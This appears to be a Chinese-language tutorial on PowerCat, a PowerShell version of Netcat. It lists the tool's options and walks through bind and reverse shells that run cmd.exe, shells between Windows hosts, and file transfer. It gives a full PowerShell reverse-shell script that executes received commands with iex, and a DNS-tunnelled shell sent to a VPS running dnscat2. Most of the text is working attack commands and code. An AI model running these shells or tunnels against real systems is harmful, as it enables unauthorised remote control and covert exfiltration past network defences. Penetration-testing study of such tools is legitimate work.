目录
PowerCat的用法:
正向连接
反向连接
Windows之间互弹shell
方法一:
Powercat传输文件
方法二:
PowerCat进行DNS隧道通信
PowerCat的用法
代码语言:javascript复制参数的意义
-l 监听一个连接
-c 连接到一个监听
-p 指定端口
-e 指定一个程序执行
-ep 执行Powershell
-v 显示详细信息
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i Input: Filepath (string), byte array, or string. [object]
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of Output File Path. [String]
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g Generate Payload. [Switch]
-ge Generate Encoded Payload. [Switch]
-h 打印出帮助
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。
正向连接
Windows上的powercat正向连接Kali上的nc
Kali(192.168.10.11):
代码语言:javascript复制nc -lvp 8888
Windows:
代码语言:javascript复制Import-Module .powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe
反向连接
Kali上的nc反向连接Windows上的powercat
Kali:
代码语言:javascript复制 nc 192.168.10.1 8888 -vv
Windows(192.168.10.1):
代码语言:javascript复制 Import-Module .powercat.ps1
powercat -l -p 8888 -e cmd.exe -v
Windows之间互弹shell
方法一:
服务器监听(192.168.10.1):
代码语言:javascript复制Import-Module .powercat.ps1
powercat -l -p 8888
客户端连接:
代码语言:javascript复制Import-Module .powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep
方法二:
服务器监听(192.168.10.1):
代码语言:javascript复制Import-Module .powercat.ps1
powercat -l -p 8888
客户端连接:
代码语言:javascript复制.reverse.ps1
其中,reverse.ps1 脚本的内容如下:
代码语言:javascript复制$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback 'PS ' (pwd).Path '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Powercat传输文件
此时,即使文件传输完毕,连接也不会自动断开,需要手动断开。
接收端:Windows10(192.168.10.1)
代码语言:javascript复制Import-Module .powercat.ps1
powercat -l -p 8888 -of test.txt -v
发送端:Windows7(192.168.10.130)
代码语言:javascript复制 Import-Module .powercat.ps1
powercat -c 192.168.10.1 -p 8888 -i C:UsersxieDesktoptest.txt -v
PowerCat进行DNS隧道通信
PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat。所以,在使用DNS隧道通信前,需要在我们的VPS上安装dnscat。
安装dnscat
代码语言:javascript复制git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
安装完dnscat后,在VPS上执行如下命令:
代码语言:javascript复制ruby dnscat2.rb ttpowercat.test -e open --no-cache
在Windows上执行如下命令:
代码语言:javascript复制powercat -c 192.168.10.11 -p 53 -dns ttpowercat.test -e cmd.exe
然后我们的Kali上就能收到反弹过来的shell了。
执行 session -i 1 进入反弹过来的shell中,就可以执行whoami等系统命令了。
注:在执行完powercat的命令后,还需要按enter键,对面才能接收到shell
PowerCat是Netcat的Powershell版本,作者是这么介绍的,项目地址:https://github.com/besimorhino/powercat